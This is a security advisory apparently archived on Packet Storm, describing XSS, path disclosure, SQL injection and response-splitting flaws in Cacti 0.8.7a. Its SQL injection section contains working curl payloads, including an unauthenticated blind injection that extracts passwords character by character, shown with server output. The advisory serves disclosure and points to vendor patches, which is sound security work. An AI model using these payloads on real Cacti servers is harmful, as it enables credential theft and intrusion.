what you don't know can hurt you

Cacti 0.8.7a Multiple Vulnerabilities

Cacti 0.8.7a Multiple Vulnerabilities
Posted Feb 12, 2008
Authored by Francesco Ongaro, Antonio Parata | Site ictsc.it

Multiple security vulnerabilities such as cross site scripting and SQL injection have been discovered in Cacti versions 0.8.7a and below. Full exploitation details provided.

tags | exploit, vulnerability, xss, sql injection
MD5 | 8016b9a06e57086135f7f78cba144e5d

Cacti 0.8.7a Multiple Vulnerabilities

Change Mirror Download
Cacti 0.8.7a Multiple Vulnerabilities

Name Multiple Vulnerabilities in Cacti
Systems Affected Cacti 0.8.7a and possibly earlier versions
Severity High
Impact (CVSSv2) High (9/10, vector: AV:N/AC:L/Au:N/C:C/I:P/A:P)
Vendor http://www.cacti.net/
Advisory http://www.ush.it/team/ush/hack-cacti087a/cacti.txt
Author Francesco "ascii" Ongaro (ascii AT ush DOT it)
Antonio "s4tan" Parata (s4tan AT ush DOT it)
Date 20071218


>From the cacti web site: "Cacti is a complete network graphing solution
designed to harness the power of RRDTool's data storage and graphing
functionality. Cacti provides a fast poller, advanced graph templating,
multiple data acquisition methods, and user management features out of
the box".


Multiple vulnerabilities exist in Cacti software (XSS, SQL Injection,
Path Disclosure, HTTP Response Splitting).


A) XSS Vulnerabilities
graph.php (view_type parameter)
graph_view.php (filter parameter)
index.php/login (action parameter)
index.php/login (login_username parmeter)
B) Path Disclosure Vulnerabilities
graph.php (local_graph_id parameter)
C) SQL Injection Vulnerabilities
graph_view.php (graph_list parameter)
tree.php (leaf_id parameter)
graph_xport.php (local_graph_id parameter)
tree.php (id parameter)
index.php/login (login_username parameter)
D) HTTP response splitting on very old PHP instances

A) XSS Vulnerabilities

We have found many XSS vulnerabilities in the application. We list some
examples only, but many other injection points exist:


The following example will execute the code when the user clicks on the
menu list:


Also XSS vulnerabilities exist in the login page, where we
authentication isn't needed:


In addition if we enter as user name: "><script>alert(/XSS/);</script>,
then we have another XSS.

B) Path Disclosure Vulnerabilities

The program checks the value of a non existent parameter. This produces
an error that discloses the absolute installation path:


Other vulnerable code exists since in Cacti PHP errors are displayed as
they are, with no custom error handler.

C) SQL Injection Vulnerabilities

There are some points in the program that don't check the input
parameters. This causes an SQL Injection attack possible. Follow an
example of blind SQL injection (by an authenticated user):


The following request needs admin permission to be executed, so it has
limited impact:


Same as above graph_xport.php is also vulnerable to an SQLi exploitable
by authenticated users:

curl "http://www.example.com/cacti/graph_xport.php?local_graph_id=1" -d \
"local_graph_id=1'" -H "Cookie: Cacti=<cookie value>"

Also the program contains a serious logic flaw. The program presents
many input check routines, however some of these routines validate only
the $_GET variable. After this validation routine, the value of the
input is used to create an SQL query, obtaining the value from the
$_REQUEST variable. According to the PHP specifications, the $_REQUEST
variable looks for the value of the parameters in the following
order: cookie, post data, get data. If we specify the injection string
in the cookie data or in the post data, then we can bypass the
validation routine.

One example of this vulnerability is shown by the following url:

curl "http://www.example.com/cacti/tree.php?action=edit&id=1" -d \
"id=sql'" -H "Cookie: Cacti=<cookie value>"

One of these vulnerable code is in the set_tree_visibility_status()
function in file lib/html_tree.php. The initial rows of the routine are:

function set_tree_visibility_status() {
if (!isset($_REQUEST["subaction"])) {
$headers = db_fetch_assoc("SELECT graph_tree_id, order_key FROM
graph_tree_items WHERE host_id='0' AND local_graph_id='0' AND
graph_tree_id='" . $_REQUEST["id"] . "'");

The set_tree_visibility_status() is called in grow_edit_graph_tree(
$tree_id, $user_id, $options) function. The grow_edit_graph_tree(
$tree_id, $user_id, $options) is called in tree.php file by the
tree_edit() routine which is called from the main code. The initial
rows of the tree_edit() routine are:

function tree_edit() {
global $colors, $fields_tree_edit;

/* ================= input validation ================= */
/* ==================================================== */

The input_validate_input_number routine correctly validate the
parameter, but the problem is that get_request_var routine returns
the $_GET value, as the following code show:

function get_request_var($name, $default = "")
if (isset($_GET[$name]))
return $_GET[$name];
} else
return $default;

So we can send our injection string in POST data (to skip the check),
and our value will be used because it has precedence over GET in
the $_REQUEST variable.

Last but not least we show the most critical vulnerability. An SQL
injection vulnerability exists in the authentication method (the
attacker doesn't need to be authenticated in order to exploit it).
In file global.php at line 109 we have an "if" statement that if true
detects if magic quote is off, if it's off then it simulates it by
calling addslashes() function. But take a look at the "if" statement:

if ((!in_array(basename($_SERVER["PHP_SELF"]), $no_http_header_files,
true)) && ($_SERVER["PHP_SELF"] != "")) {

The branch is not taken if we are calling a function that is present
in $no_http_header_files variable defined at line 53. The check is done
with basename($_SERVER["PHP_SELF"]). Well, if we set a URL like
http://www.example.com/index.php/sql.php (sql.php is an entry in the
$no_http_header_files variable) then the basename($_SERVER["PHP_SELF"])
will return sql.php and we happly bypass the magic quote check : )

However a complete authentication bypass cannot be possible because the
code that starts the session is in the chunk of code that we skip, so no
$_SESSION variable will be created and we are unable to bypass the
following check at file auth.php:

if (empty($_SESSION["sess_user_id"])) {

However it is possible to extract the password and user name from the DB
by an SQL injection inference attack. The following request is an
example of blind SQL injection attack by inference:

curl -v "http://www.example.com/cacti/index.php/sql.php" -d \

If this query succeeds then a 302 response code is sent in the response.
We can also discovery the user name at the same way. There is also a
nice trick that allows us to know if we have discovered the
administrator user. Suppose we know that exists the user name "cacti",
to know if it is an administrator we send the following request:

curl -v "http://www.example.com/cacti/index.php/sql.php" -d \

If a 302 response code with Location "index.php" is returned then it is
the administrator, in the other case with a Location of
"graph_view.php" we have discovered a normal user.

Again: this vulnerability is exploitable ONLY with magic quotes OFF and
any value of register globals.

$ curl -v "http://www.example.com/cacti/index.php/sql.php" -d \
* About to connect() to www.example.com port 80 (#0)
* Trying connected
* Connected to www.example.com ( port 80 (#0)
> POST /cacti-0.8.7a/index.php/sql.php HTTP/1.1
> User-Agent: curl/1.1.1 (i986-gnu-ms-bsd) cacalib/3.6.9 OpenTelnet/0.1
> Host: www.example.com
> Accept: */*
> Content-Length: 71
> Content-Type: application/x-www-form-urlencoded
< HTTP/1.1 200 OK
< Date: Mon, 17 Dec 2007 19:29:34 GMT
< Server: Apache
< X-Powered-By: PHP/1.2.3-linuxz
< Content-Length: 355
< Content-Type: text/html
AAAAAAAAA: SELECT * FROM user_auth WHERE username = 'foo' or
ascii(substring(password,1,1))<56#' AND password = md5('') AND realm=0
<br />
<b>Warning</b>: Cannot modify header information - headers already
sent by (output started at /home/x/cacti-0.8.7a/auth_login.php:126)
in <b>/home/x/cacti-0.8.7a/auth_login.php</b> on line <b>200</b><br />
* Connection #0 to host www.example.com left intact
* Closing connection #0

This vulnerability can be obviously exploited as follows

$ curl -kis "http://www.example.com/cacti-0.8.7a/index.php/sql.php" -d \
"login_username=foo'+or+ascii(substring(password,1,1))>56#&action=login" \
| head -n1
HTTP/1.1 200 OK
$ curl -kis "http://www.example.com/cacti-0.8.7a/index.php/sql.php" -d \
"login_username=foo'+or+ascii(substring(password,1,1))<56#&action=login" \
| head -n1
HTTP/1.1 302 Found

D) HTTP response splitting on very old PHP instances

In some old PHP instances it is possible to execute an HTTP response
splitting attack. However this attack is mitigated by the PHP framework
that doesn't permits CR or LF injection anymore in the header function.


Cacti 0.8.7a and possibly earlier versions are vulnerable.


Proper input validation will fix the vulnerabilities.

Magic quotes ON will protect you against the most serious
unauthenticated SQLi vulnerabilities and possibly other.


Vendor issued new version 0.8.7b and 0.8.6k to address the vulnerabilities
available for download at following urls:


Patches are also available:



No CVE at this time.


20071113 Bug discovered
20071218 Vendor contacted
20080212 Advisory released


Francesco "ascii" Ongaro and Antonio "s4tan" Parata are credited with
the discovery of this vulnerability.

Francesco "ascii" Ongaro
web site: http://www.ush.it/
mail: ascii AT ush DOT it

Antonio "s4tan" Parata
web site: http://www.ictsc.it/
mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it


Copyright (c) 2007 Francesco "ascii" Ongaro

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    14 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2020 Packet Storm. All rights reserved.

Security Services
Hosting By